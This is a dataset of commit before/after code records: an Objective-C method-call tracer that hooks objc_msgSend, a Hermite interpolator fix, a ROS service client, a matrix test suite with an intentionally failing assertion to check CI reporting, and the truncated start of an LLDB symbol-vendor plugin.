#(14*8+0*16)];\\n\"\n \"ldp q2, q3, [sp, #(14*8+2*16)];\\n\"\n \"ldp q4, q5, [sp, #(14*8+4*16)];\\n\"\n \"ldp q6, q7, [sp, #(14*8+6*16)];\\n\"\n \n \"mov sp, fp;\\n\"\n \"ldp fp, lr, [sp], #16;\\n\"\n \"ret;\\n\"\n );\n}\n\n#else\n\n__attribute__((naked))\nstatic id new_objc_msgSend(id self, SEL op) {\n\n}\n\n#endif\n\nint OCTraceInit(OCTraceLogger * logger) {\n \n#if 1\n OCTraceImageListInit();\n s_image_list.clear();\n for(int i = 0; s_skip_image_names[i] != NULL; i++) {\n const char * image_name = s_skip_image_names[i];\n OCTraceImage image = OCTraceGetImageWithName(image_name);\n if (image.start_addr != (intptr_t)NULL) {\n s_image_list.insert(s_image_list.end(), image);\n }\n }\n \n#endif\n s_logger = new OCTraceLocalLogger();\n \/\/s_logger = logger ;\/\/new OCTraceRemoteLogger();\n \n s_origin_objc_msgSend = (fn_objc_msgSend)dlsym(RTLD_DEFAULT, \"objc_msgSend\");\n return rebind_symbols((struct rebinding[1]){{\"objc_msgSend\", (void *)new_objc_msgSend}}, 1);\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/----------------------------------------------------------------------------\n\/\/\n\/\/ \"Copyright Centre National d'Etudes Spatiales\"\n\/\/\n\/\/ License: LGPL\n\/\/\n\/\/ See LICENSE.txt file in the top level directory for more details.\n\/\/\n\/\/----------------------------------------------------------------------------\n\/\/ $Id$\n\n#include <otb\/HermiteInterpolator.h>\n\n#include <string>\n#include <cassert>\n\nnamespace ossimplugins\n{\n\n\nHermiteInterpolator::HermiteInterpolator():\n theNPointsAvailable(0),\n theXValues(NULL),\n theYValues(NULL),\n thedYValues(NULL),\n prodC(NULL),\n sumC(NULL),\n isComputed(false)\n{\n}\n\nHermiteInterpolator::HermiteInterpolator(int nbrPoints, double* x, double* y, double* dy):\n theNPointsAvailable(nbrPoints),\n isComputed(false)\n{\n if(x != NULL)\n {\n theXValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n theXValues[i] = x[i];\n }\n }\n else\n {\n theXValues = NULL;\n }\n\n if(y != NULL)\n {\n theYValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n theYValues[i] = y[i];\n }\n }\n else\n {\n theYValues = NULL;\n }\n\n if(dy != NULL)\n {\n thedYValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n thedYValues[i] = dy[i];\n }\n }\n else\n {\n thedYValues = NULL;\n }\n\n for (int i = 1 ; i < theNPointsAvailable ; i++)\n {\n \/**\n * @todo Verifier que l'interpolateur n'ai pas besoin ques les abscisses soitent strictement croissantes\n *\/\n\n \/*\n * Les abscisses ne sont pas croissantes\n *\/\n\/\/ if (theXValues[i] <= theXValues[i-1])\n\/\/ std::cerr << \"WARNING: Hermite interpolation assumes increasing x values\" << std::endl;\n assert(theXValues[i] > theXValues[i-1]);\n }\n}\n\nHermiteInterpolator::~HermiteInterpolator()\n{\n Clear();\n}\n\nHermiteInterpolator::HermiteInterpolator(const HermiteInterpolator& rhs):\n theNPointsAvailable(rhs.theNPointsAvailable),\n isComputed(false)\n{\n if(rhs.theXValues != NULL)\n {\n theXValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n theXValues[i] = rhs.theXValues[i];\n }\n }\n else\n {\n theXValues = NULL;\n }\n\n if(rhs.theYValues != NULL)\n {\n theYValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n theYValues[i] = rhs.theYValues[i];\n }\n }\n else\n {\n theYValues = NULL;\n }\n\n if(rhs.thedYValues != NULL)\n {\n thedYValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n thedYValues[i] = rhs.thedYValues[i];\n }\n }\n else\n {\n thedYValues = NULL;\n }\n}\n\nHermiteInterpolator& HermiteInterpolator::operator =(const HermiteInterpolator& rhs)\n{\n Clear();\n theNPointsAvailable = rhs.theNPointsAvailable;\n isComputed = false;\n if(rhs.theXValues != NULL)\n {\n theXValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n theXValues[i] = rhs.theXValues[i];\n }\n }\n else\n {\n theXValues = NULL;\n }\n\n if(rhs.theYValues != NULL)\n {\n theYValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n theYValues[i] = rhs.theYValues[i];\n }\n }\n else\n {\n theYValues = NULL;\n }\n\n if(rhs.thedYValues != NULL)\n {\n thedYValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n thedYValues[i] = rhs.thedYValues[i];\n }\n }\n else\n {\n thedYValues = NULL;\n }\n\n return *this;\n}\n\n\/\/ Interpolation method for the value and the derivative\nint HermiteInterpolator::Interpolate(double x, double& y, double& dy) const\n{\n \/\/NOTE assume that x is increasing\n\n \/\/ Not enough points to interpolate\n if (theNPointsAvailable < 2) return -1;\n\n y = 0.0;\n dy = 0.0;\n\n \/\/Precompute useful value if they are not available\n if (!isComputed)\n {\n Precompute();\n }\n\n for (int i = 0; i < theNPointsAvailable; i++)\n {\n double si = 0.0;\n double hi = 1.0;\n double ui = 0; \/\/derivative computation\n double r = x - theXValues[i];\n\n for (int j = 0; j < theNPointsAvailable; j++)\n {\n if (j != i)\n {\n hi = hi * (x - theXValues[j]);\n ui = ui + 1 \/ (x - theXValues[j]);\/\/derivative computation\n }\n }\n hi *= prodC[i];\n si = sumC[i];\n\n double f = 1.0 - 2.0 * r * si;\n\n y += (theYValues[i] * f + thedYValues[i] * r) * hi * hi;\n\n ui *= hi;\/\/derivative computation\n\n double fp = 2.0 * hi * (ui * (1.0 - 2.0 * si * r) - hi * si);\/\/derivative computation\n double d = hi * (hi + 2.0 * r * ui);\/\/derivative computation\n\n dy += fp * theYValues[i] + d * thedYValues[i];\/\/derivative computation\n\n }\n\n return 0;\n}\n\n\/\/ Interpolation method for the value only\n\/\/ this is about 5 times faster and should be used when time\n\/\/ is a constraint.\nint HermiteInterpolator::Interpolate(double x, double& y) const\n{\n \/\/NOTE assume that x is increasing\n\n \/\/ Not enough points to interpolate\n if (theNPointsAvailable < 2) return -1;\n\n y = 0.0;\n\n \/\/Precompute useful value if they are not available\n if (!isComputed)\n {\n Precompute();\n }\n\n for (int i = 0; i < theNPointsAvailable; i++)\n {\n double si = 0.0;\n double hi = 1.0;\n double r = x - theXValues[i];\n\n for (int j = 0; j < theNPointsAvailable; j++)\n {\n if (j != i)\n {\n hi = hi * (x - theXValues[j]);\n }\n }\n hi *= prodC[i];\n si = sumC[i];\n\n double f = 1.0 - 2.0 * r * si;\n\n y += (theYValues[i] * f + thedYValues[i] * r) * hi * hi;\n\n }\n\n return 0;\n}\n\nint HermiteInterpolator::Precompute() const\n{\n prodC = new double[theNPointsAvailable];\n sumC= new double[theNPointsAvailable];\n\n for (int i = 0; i < theNPointsAvailable; i++)\n {\n prodC[i] = 1;\n sumC[i] = 0;\n for (int j = 0; j < theNPointsAvailable; j++)\n {\n if (j != i)\n {\n double v = 1.0 \/ (theXValues[i] - theXValues[j]);\n prodC[i] *= v;\n sumC[i] += v;\n }\n }\n }\n isComputed = true;\n}\n\nvoid HermiteInterpolator::Clear()\n{\n if (theXValues != NULL)\n {\n delete[] theXValues;\n theXValues = NULL;\n }\n\n if (theYValues != NULL)\n {\n delete[] theYValues;\n theYValues = NULL;\n }\n\n if (thedYValues != NULL)\n {\n delete[] thedYValues;\n thedYValues = NULL;\n }\n\n if (prodC != NULL)\n {\n delete[] prodC;\n prodC = NULL;\n }\n\n if (sumC != NULL)\n {\n delete[] sumC;\n prodC = NULL;\n }\n isComputed = false;\n theNPointsAvailable = 0;\n}\n}\n<commit_msg>WRG: fix warning<commit_after>\/\/----------------------------------------------------------------------------\n\/\/\n\/\/ \"Copyright Centre National d'Etudes Spatiales\"\n\/\/\n\/\/ License: LGPL\n\/\/\n\/\/ See LICENSE.txt file in the top level directory for more details.\n\/\/\n\/\/----------------------------------------------------------------------------\n\/\/ $Id$\n\n#include <otb\/HermiteInterpolator.h>\n\n#include <string>\n#include <cassert>\n\nnamespace ossimplugins\n{\n\n\nHermiteInterpolator::HermiteInterpolator():\n theNPointsAvailable(0),\n theXValues(NULL),\n theYValues(NULL),\n thedYValues(NULL),\n prodC(NULL),\n sumC(NULL),\n isComputed(false)\n{\n}\n\nHermiteInterpolator::HermiteInterpolator(int nbrPoints, double* x, double* y, double* dy):\n theNPointsAvailable(nbrPoints),\n isComputed(false)\n{\n if(x != NULL)\n {\n theXValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n theXValues[i] = x[i];\n }\n }\n else\n {\n theXValues = NULL;\n }\n\n if(y != NULL)\n {\n theYValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n theYValues[i] = y[i];\n }\n }\n else\n {\n theYValues = NULL;\n }\n\n if(dy != NULL)\n {\n thedYValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n thedYValues[i] = dy[i];\n }\n }\n else\n {\n thedYValues = NULL;\n }\n\n for (int i = 1 ; i < theNPointsAvailable ; i++)\n {\n \/**\n * @todo Verifier que l'interpolateur n'ai pas besoin ques les abscisses soitent strictement croissantes\n *\/\n\n \/*\n * Les abscisses ne sont pas croissantes\n *\/\n\/\/ if (theXValues[i] <= theXValues[i-1])\n\/\/ std::cerr << \"WARNING: Hermite interpolation assumes increasing x values\" << std::endl;\n assert(theXValues[i] > theXValues[i-1]);\n }\n}\n\nHermiteInterpolator::~HermiteInterpolator()\n{\n Clear();\n}\n\nHermiteInterpolator::HermiteInterpolator(const HermiteInterpolator& rhs):\n theNPointsAvailable(rhs.theNPointsAvailable),\n isComputed(false)\n{\n if(rhs.theXValues != NULL)\n {\n theXValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n theXValues[i] = rhs.theXValues[i];\n }\n }\n else\n {\n theXValues = NULL;\n }\n\n if(rhs.theYValues != NULL)\n {\n theYValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n theYValues[i] = rhs.theYValues[i];\n }\n }\n else\n {\n theYValues = NULL;\n }\n\n if(rhs.thedYValues != NULL)\n {\n thedYValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n thedYValues[i] = rhs.thedYValues[i];\n }\n }\n else\n {\n thedYValues = NULL;\n }\n}\n\nHermiteInterpolator& HermiteInterpolator::operator =(const HermiteInterpolator& rhs)\n{\n Clear();\n theNPointsAvailable = rhs.theNPointsAvailable;\n isComputed = false;\n if(rhs.theXValues != NULL)\n {\n theXValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n theXValues[i] = rhs.theXValues[i];\n }\n }\n else\n {\n theXValues = NULL;\n }\n\n if(rhs.theYValues != NULL)\n {\n theYValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n theYValues[i] = rhs.theYValues[i];\n }\n }\n else\n {\n theYValues = NULL;\n }\n\n if(rhs.thedYValues != NULL)\n {\n thedYValues = new double[theNPointsAvailable];\n for (int i=0;i<theNPointsAvailable;i++)\n {\n thedYValues[i] = rhs.thedYValues[i];\n }\n }\n else\n {\n thedYValues = NULL;\n }\n\n return *this;\n}\n\n\/\/ Interpolation method for the value and the derivative\nint HermiteInterpolator::Interpolate(double x, double& y, double& dy) const\n{\n \/\/NOTE assume that x is increasing\n\n \/\/ Not enough points to interpolate\n if (theNPointsAvailable < 2) return -1;\n\n y = 0.0;\n dy = 0.0;\n\n \/\/Precompute useful value if they are not available\n if (!isComputed)\n {\n Precompute();\n }\n\n for (int i = 0; i < theNPointsAvailable; i++)\n {\n double si = 0.0;\n double hi = 1.0;\n double ui = 0; \/\/derivative computation\n double r = x - theXValues[i];\n\n for (int j = 0; j < theNPointsAvailable; j++)\n {\n if (j != i)\n {\n hi = hi * (x - theXValues[j]);\n ui = ui + 1 \/ (x - theXValues[j]);\/\/derivative computation\n }\n }\n hi *= prodC[i];\n si = sumC[i];\n\n double f = 1.0 - 2.0 * r * si;\n\n y += (theYValues[i] * f + thedYValues[i] * r) * hi * hi;\n\n ui *= hi;\/\/derivative computation\n\n double fp = 2.0 * hi * (ui * (1.0 - 2.0 * si * r) - hi * si);\/\/derivative computation\n double d = hi * (hi + 2.0 * r * ui);\/\/derivative computation\n\n dy += fp * theYValues[i] + d * thedYValues[i];\/\/derivative computation\n\n }\n\n return 0;\n}\n\n\/\/ Interpolation method for the value only\n\/\/ this is about 5 times faster and should be used when time\n\/\/ is a constraint.\nint HermiteInterpolator::Interpolate(double x, double& y) const\n{\n \/\/NOTE assume that x is increasing\n\n \/\/ Not enough points to interpolate\n if (theNPointsAvailable < 2) return -1;\n\n y = 0.0;\n\n \/\/Precompute useful value if they are not available\n if (!isComputed)\n {\n Precompute();\n }\n\n for (int i = 0; i < theNPointsAvailable; i++)\n {\n double si = 0.0;\n double hi = 1.0;\n double r = x - theXValues[i];\n\n for (int j = 0; j < theNPointsAvailable; j++)\n {\n if (j != i)\n {\n hi = hi * (x - theXValues[j]);\n }\n }\n hi *= prodC[i];\n si = sumC[i];\n\n double f = 1.0 - 2.0 * r * si;\n\n y += (theYValues[i] * f + thedYValues[i] * r) * hi * hi;\n\n }\n\n return 0;\n}\n\nint HermiteInterpolator::Precompute() const\n{\n prodC = new double[theNPointsAvailable];\n sumC= new double[theNPointsAvailable];\n\n for (int i = 0; i < theNPointsAvailable; i++)\n {\n prodC[i] = 1;\n sumC[i] = 0;\n for (int j = 0; j < theNPointsAvailable; j++)\n {\n if (j != i)\n {\n double v = 1.0 \/ (theXValues[i] - theXValues[j]);\n prodC[i] *= v;\n sumC[i] += v;\n }\n }\n }\n isComputed = true;\n return 0;\n}\n\nvoid HermiteInterpolator::Clear()\n{\n if (theXValues != NULL)\n {\n delete[] theXValues;\n theXValues = NULL;\n }\n\n if (theYValues != NULL)\n {\n delete[] theYValues;\n theYValues = NULL;\n }\n\n if (thedYValues != NULL)\n {\n delete[] thedYValues;\n thedYValues = NULL;\n }\n\n if (prodC != NULL)\n {\n delete[] prodC;\n prodC = NULL;\n }\n\n if (sumC != NULL)\n {\n delete[] sumC;\n prodC = NULL;\n }\n isComputed = false;\n theNPointsAvailable = 0;\n}\n}\n<|endoftext|>"} {"text":"<commit_before>#include <rclcpp\/rclcpp.hpp>\n\n#include <std_msgs\/String.h>\n#include \"std_msgs\/dds_impl\/String_convert.h\"\n\n#include <std_msgs\/Int32.h>\n#include <rclcpp_examples\/AddTwoIntsRequest.h>\n#include <rclcpp_examples\/AddTwoIntsResponse.h>\n\n#include \"std_msgs\/dds_impl\/Int32_convert.h\"\n#include \"rclcpp_examples\/dds_impl\/AddTwoIntsRequest_convert.h\"\n#include \"rclcpp_examples\/dds_impl\/AddTwoIntsResponse_convert.h\"\n\n#include <iostream>\n\nint main(int argc, char** argv)\n{\n rclcpp::init(argc, argv);\n\n rclcpp::Node::Ptr node = rclcpp::create_node(\"add_two_ints_server\");\n auto client = node->create_client<rclcpp_examples::AddTwoIntsRequest, rclcpp_examples::AddTwoIntsResponse>(\"add_two_ints\");\n rclcpp_examples::AddTwoIntsRequest req;\n req.a = 2;\n req.b = 3;\n\n auto response = client->async_call(req);\n \/\/std::cout << \"Sum: \" << response->sum << std::endl; \n\n node->spin();\n return 0;\n}\n<commit_msg>Use sync call<commit_after>#include <rclcpp\/rclcpp.hpp>\n\n#include <std_msgs\/String.h>\n#include \"std_msgs\/dds_impl\/String_convert.h\"\n\n#include <std_msgs\/Int32.h>\n#include <rclcpp_examples\/AddTwoIntsRequest.h>\n#include <rclcpp_examples\/AddTwoIntsResponse.h>\n\n#include \"std_msgs\/dds_impl\/Int32_convert.h\"\n#include \"rclcpp_examples\/dds_impl\/AddTwoIntsRequest_convert.h\"\n#include \"rclcpp_examples\/dds_impl\/AddTwoIntsResponse_convert.h\"\n\n#include <iostream>\n\nint main(int argc, char** argv)\n{\n rclcpp::init(argc, argv);\n\n rclcpp::Node::Ptr node = rclcpp::create_node(\"add_two_ints_server\");\n auto client = node->create_client<rclcpp_examples::AddTwoIntsRequest, rclcpp_examples::AddTwoIntsResponse>(\"add_two_ints\");\n rclcpp_examples::AddTwoIntsRequest req;\n req.a = 2;\n req.b = 3;\n\n auto response = client->call(req);\n std::cout << \"Sum: \" << response->sum << std::endl; \n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n This file contains a sequence of tests to perform for different instances of a templatized fixture.\n It is thus inlined several times in the .cpp test file.\n *\/\n\n\/\/ ==============================\n\/\/ Set\/get value tests\nTEST_F(TestMatrix, set_fullMat ) { ASSERT_TRUE( matrixMaxDiff(mat,fullMat) < 100*epsilon() ); }\nTEST_F(TestMatrix, set_crs1 ) { ASSERT_TRUE( matrixMaxDiff( fullMat,crs1 ) < 100*epsilon() ); }\nTEST_F(TestMatrix, set_crs2 ) { ASSERT_TRUE( matrixMaxDiff(fullMat,crs2) < 100*epsilon() ); }\nTEST_F(TestMatrix, set_mapMat ) { ASSERT_TRUE( matrixMaxDiff(fullMat,mapMat) < 100*epsilon() ); }\nTEST_F(TestMatrix, set_eiBlock1 ) { ASSERT_TRUE( matrixMaxDiff(fullMat,eiBlock1) < 100*epsilon() ); }\nTEST_F(TestMatrix, set_eiBlock2 ) { ASSERT_TRUE( matrixMaxDiff(fullMat,eiBlock2) < 100*epsilon() ); }\nTEST_F(TestMatrix, set_eiBase ) { ASSERT_TRUE( matrixMaxDiff(fullMat,eiBase) < 100*epsilon() ); }\nTEST_F(TestMatrix, eigenMatrix_update ) { ASSERT_TRUE( checkEigenMatrixUpdate() ); }\nTEST_F(TestMatrix, eigenMatrix_block_row_filling ) { ASSERT_TRUE( checkEigenMatrixBlockRowFilling() ); }\nTEST_F(TestMatrix, eigenMatrixBlockFromCompressedRowSparseMatrix ) { ASSERT_TRUE( checkEigenMatrixBlockFromCompressedRowSparseMatrix() ); }\nTEST_F(TestMatrix, eigenMapToDenseMatrix ) { ASSERT_TRUE( checkEigenDenseMatrix() ); }\n\n\/\/ ==============================\n\/\/ Matrix-Vector product tests\nTEST_F(TestMatrix, set_fullVec_nrows_reference )\n{\n ASSERT_TRUE(vectorMaxDiff(vecM,fullVec_nrows_reference) < epsilon() );\n}\nTEST_F(TestMatrix, fullMat_vector_product )\n{\n\/\/ fullMat.opMulV(&fullVec_nrows_result,&fullVec_ncols);\n fullVec_nrows_result = fullMat * fullVec_ncols;\n ASSERT_TRUE(vectorMaxDiff(fullVec_nrows_reference,fullVec_nrows_result) < epsilon() );\n}\nTEST_F(TestMatrix, mapMat_vector_product )\n{\n\/\/ mapMat.opMulV(&fullVec_nrows_result,&fullVec_ncols);\n fullVec_nrows_result = mapMat * fullVec_ncols;\n ASSERT_TRUE(vectorMaxDiff(fullVec_nrows_reference,fullVec_nrows_result) < epsilon() );\n}\nTEST_F(TestMatrix, eiBlock1_vector_product )\n{\n\/\/ eiBlock1.opMulV(&fullVec_nrows_result,&fullVec_ncols);\n\/\/ eiBlock1.multVector(fullVec_nrows_result,fullVec_ncols);\n fullVec_nrows_result = eiBlock1 * fullVec_ncols;\n ASSERT_TRUE(vectorMaxDiff(fullVec_nrows_reference,fullVec_nrows_result) < epsilon() );\n\n}\nTEST_F(TestMatrix, crs1_vector_product )\n{\n\/\/ EXPECT_TRUE(NROWS%BROWS==0 && NCOLS%BCOLS==0) << \"Error: CompressedRowSparseMatrix * Vector crashes when the size of the matrix is not a multiple of the size of the matrix blocks. Aborting this test, and reporting a failure.\"; \/\/ otherwise the product crashes\n\/\/ crs1.opMulV(&fullVec_nrows_result,&fullVec_ncols);\n fullVec_nrows_result = crs1 * fullVec_ncols;\n ASSERT_TRUE(vectorMaxDiff(fullVec_nrows_reference,fullVec_nrows_result) < epsilon() );\n}\n\n\n\/\/ ==============================\n\/\/ Matrix product tests\nTEST_F(TestMatrix, full_matrix_product ) { ASSERT_TRUE( matrixMaxDiff(matMultiplication,fullMultiplication) < 100*epsilon() ); }\nTEST_F(TestMatrix, crs_matrix_product ) { ASSERT_TRUE( matrixMaxDiff(fullMultiplication,crsMultiplication) < 100*epsilon() ); }\nTEST_F(TestMatrix, EigenBase_matrix_product ) { ASSERT_TRUE( matrixMaxDiff(fullMultiplication,eiBaseMultiplication) < 100*epsilon() ); }\nTEST_F(TestMatrix, EigenSparseDense_matrix_product ) { ASSERT_TRUE( EigenDenseMatrix(eiBaseMultiplication.compressedMatrix) == eiDenseMultiplication ); }\nTEST_F(TestMatrix, full_matrix_transposeproduct ) { ASSERT_TRUE( matrixMaxDiff(matTransposeMultiplication,fullTransposeMultiplication) < 100*epsilon() ); }\nTEST_F(TestMatrix, crs_matrix_transposeproduct ) { ASSERT_TRUE( matrixMaxDiff(fullTransposeMultiplication,crsTransposeMultiplication) < 100*epsilon() ); }\n\n\/\/ Matrix addition\nTEST_F(TestMatrix, crs_matrix_addition )\n{\n crs2 = crs1 + crs1;\n ASSERT_TRUE( matrixMaxDiff(mat*2,crs2) < 100*epsilon() );\n\n crs2 += crs1;\n ASSERT_TRUE( matrixMaxDiff(mat*3,crs2) < 100*epsilon() );\n\n crs2 -= crs1;\n ASSERT_FALSE( matrixMaxDiff(mat*2,crs2) < 100*epsilon() ); \/\/ create an error to check if I get a message from Jenkins\n \/\/ ASSERT_TRUE( matrixMaxDiff(mat*2,crs2) < 100*epsilon() );\n}\n<commit_msg>META-TEST adding a failure<commit_after>\/**\n This file contains a sequence of tests to perform for different instances of a templatized fixture.\n It is thus inlined several times in the .cpp test file.\n *\/\n\n\/\/ ==============================\n\/\/ Set\/get value tests\nTEST_F(TestMatrix, set_fullMat ) { ASSERT_TRUE( matrixMaxDiff(mat,fullMat) < 100*epsilon() ); }\nTEST_F(TestMatrix, set_crs1 ) { ASSERT_TRUE( matrixMaxDiff( fullMat,crs1 ) < 100*epsilon() ); }\nTEST_F(TestMatrix, set_crs2 ) { ASSERT_TRUE( matrixMaxDiff(fullMat,crs2) < 100*epsilon() ); }\nTEST_F(TestMatrix, set_mapMat ) { ASSERT_TRUE( matrixMaxDiff(fullMat,mapMat) < 100*epsilon() ); }\nTEST_F(TestMatrix, set_eiBlock1 ) { ASSERT_TRUE( matrixMaxDiff(fullMat,eiBlock1) < 100*epsilon() ); }\nTEST_F(TestMatrix, set_eiBlock2 ) { ASSERT_TRUE( matrixMaxDiff(fullMat,eiBlock2) < 100*epsilon() ); }\nTEST_F(TestMatrix, set_eiBase ) { ASSERT_TRUE( matrixMaxDiff(fullMat,eiBase) < 100*epsilon() ); }\nTEST_F(TestMatrix, eigenMatrix_update ) { ASSERT_TRUE( checkEigenMatrixUpdate() ); }\nTEST_F(TestMatrix, eigenMatrix_block_row_filling ) { ASSERT_TRUE( checkEigenMatrixBlockRowFilling() ); }\nTEST_F(TestMatrix, eigenMatrixBlockFromCompressedRowSparseMatrix ) { ASSERT_TRUE( checkEigenMatrixBlockFromCompressedRowSparseMatrix() ); }\nTEST_F(TestMatrix, eigenMapToDenseMatrix ) { ASSERT_TRUE( checkEigenDenseMatrix() ); }\n\n\/\/ ==============================\n\/\/ Matrix-Vector product tests\nTEST_F(TestMatrix, set_fullVec_nrows_reference )\n{\n ASSERT_TRUE(vectorMaxDiff(vecM,fullVec_nrows_reference) < epsilon() );\n}\nTEST_F(TestMatrix, fullMat_vector_product )\n{\n\/\/ fullMat.opMulV(&fullVec_nrows_result,&fullVec_ncols);\n fullVec_nrows_result = fullMat * fullVec_ncols;\n ASSERT_TRUE(vectorMaxDiff(fullVec_nrows_reference,fullVec_nrows_result) < epsilon() );\n}\nTEST_F(TestMatrix, mapMat_vector_product )\n{\n\/\/ mapMat.opMulV(&fullVec_nrows_result,&fullVec_ncols);\n fullVec_nrows_result = mapMat * fullVec_ncols;\n ASSERT_TRUE(vectorMaxDiff(fullVec_nrows_reference,fullVec_nrows_result) < epsilon() );\n}\nTEST_F(TestMatrix, eiBlock1_vector_product )\n{\n\/\/ eiBlock1.opMulV(&fullVec_nrows_result,&fullVec_ncols);\n\/\/ eiBlock1.multVector(fullVec_nrows_result,fullVec_ncols);\n fullVec_nrows_result = eiBlock1 * fullVec_ncols;\n ASSERT_TRUE(vectorMaxDiff(fullVec_nrows_reference,fullVec_nrows_result) < epsilon() );\n\n}\nTEST_F(TestMatrix, crs1_vector_product )\n{\n\/\/ EXPECT_TRUE(NROWS%BROWS==0 && NCOLS%BCOLS==0) << \"Error: CompressedRowSparseMatrix * Vector crashes when the size of the matrix is not a multiple of the size of the matrix blocks. Aborting this test, and reporting a failure.\"; \/\/ otherwise the product crashes\n\/\/ crs1.opMulV(&fullVec_nrows_result,&fullVec_ncols);\n fullVec_nrows_result = crs1 * fullVec_ncols;\n ASSERT_FALSE(vectorMaxDiff(fullVec_nrows_reference,fullVec_nrows_result) < epsilon() ); \/\/ create an error to check if I get a message from Jenkins\n\/\/ ASSERT_TRUE(vectorMaxDiff(fullVec_nrows_reference,fullVec_nrows_result) < epsilon() );\n}\n\n\n\/\/ ==============================\n\/\/ Matrix product tests\nTEST_F(TestMatrix, full_matrix_product ) { ASSERT_TRUE( matrixMaxDiff(matMultiplication,fullMultiplication) < 100*epsilon() ); }\nTEST_F(TestMatrix, crs_matrix_product ) { ASSERT_TRUE( matrixMaxDiff(fullMultiplication,crsMultiplication) < 100*epsilon() ); }\nTEST_F(TestMatrix, EigenBase_matrix_product ) { ASSERT_TRUE( matrixMaxDiff(fullMultiplication,eiBaseMultiplication) < 100*epsilon() ); }\nTEST_F(TestMatrix, EigenSparseDense_matrix_product ) { ASSERT_TRUE( EigenDenseMatrix(eiBaseMultiplication.compressedMatrix) == eiDenseMultiplication ); }\nTEST_F(TestMatrix, full_matrix_transposeproduct ) { ASSERT_TRUE( matrixMaxDiff(matTransposeMultiplication,fullTransposeMultiplication) < 100*epsilon() ); }\nTEST_F(TestMatrix, crs_matrix_transposeproduct ) { ASSERT_TRUE( matrixMaxDiff(fullTransposeMultiplication,crsTransposeMultiplication) < 100*epsilon() ); }\n\n\/\/ Matrix addition\nTEST_F(TestMatrix, crs_matrix_addition )\n{\n crs2 = crs1 + crs1;\n ASSERT_TRUE( matrixMaxDiff(mat*2,crs2) < 100*epsilon() );\n\n crs2 += crs1;\n ASSERT_TRUE( matrixMaxDiff(mat*3,crs2) < 100*epsilon() );\n\n crs2 -= crs1;\n ASSERT_FALSE( matrixMaxDiff(mat*2,crs2) < 100*epsilon() ); \/\/ create an error to check if I get a message from Jenkins\n \/\/ ASSERT_TRUE( matrixMaxDiff(mat*2,crs2) < 100*epsilon() );\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- SymbolVendorMacOSX.cpp ----------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"SymbolVendorMacOSX.h\"\n\n#include <string.h>\n\n#include \"lldb\/Core\/Module.h\"\n#include \"lldb\/Core\/ModuleSpec.h\"\n#include \"lldb\/Core\/PluginManager.h\"\n#include \"lldb\/Core\/Section.h\"\n#include \"lldb\/Core\/StreamString.h\"\n#include \"lldb\/Core\/Timer.h\"\n#include \"lldb\/Host\/Host.h\"\n#include \"lldb\/Host\/Symbols.h\"\n#include \"lldb\/Host\/XML.h\"\n#include \"lldb\/Symbol\/ObjectFile.h\"\n\nusing namespace lldb;\nusing namespace lldb_private;\n\n\/\/----------------------------------------------------------------------\n\/\/ SymbolVendorMacOSX constructor\n\/\/----------------------------------------------------------------------\nSymbolVendorMacOSX::SymbolVendorMacOSX(const lldb::ModuleSP &module_sp) :\n SymbolVendor (module_sp)\n{\n}\n\n\/\/----------------------------------------------------------------------\n\/\/ Destructor\n\/\/----------------------------------------------------------------------\nSymbolVendorMacOSX::~SymbolVendorMacOSX()\n{\n}\n\n\nstatic bool\nUUIDsMatch(Module *module, ObjectFile *ofile, lldb_private::Stream *feedback_strm)\n{\n if (module && ofile)\n {\n \/\/ Make sure the UUIDs match\n lldb_private::UUID dsym_uuid;\n\n if (!ofile->GetUUID(&dsym_uuid))\n {\n if (feedback_strm)\n {\n feedback_strm->PutCString(\"warning: failed to get the uuid for object file: '\");\n ofile->GetFileSpec().Dump(feedback_strm);\n feedback_strm->PutCString(\"\\n\");\n }\n return false;\n }\n\n if (dsym_uuid == module->GetUUID())\n return true;\n\n \/\/ Emit some warning messages since the UUIDs do not match!\n if (feedback_strm)\n {\n feedback_strm->PutCString(\"warning: UUID mismatch detected between modules:\\n \");\n module->GetUUID().Dump(feedback_strm);\n feedback_strm->PutChar(' ');\n module->GetFileSpec().Dump(feedback_strm);\n feedback_strm->PutCString(\"\\n \");\n dsym_uuid.Dump(feedback_strm);\n feedback_strm->PutChar(' ');\n ofile->GetFileSpec().Dump(feedback_strm);\n feedback_strm->EOL();\n }\n }\n return false;\n}\n\nvoid\nSymbolVendorMacOSX::Initialize()\n{\n PluginManager::RegisterPlugin (GetPluginNameStatic(),\n GetPluginDescriptionStatic(),\n CreateInstance);\n}\n\nvoid\nSymbolVendorMacOSX::Terminate()\n{\n PluginManager::UnregisterPlugin (CreateInstance);\n}\n\n\nlldb_private::ConstString\nSymbolVendorMacOSX::GetPluginNameStatic()\n{\n static ConstString g_name(\"macosx\");\n return g_name;\n}\n\nconst char 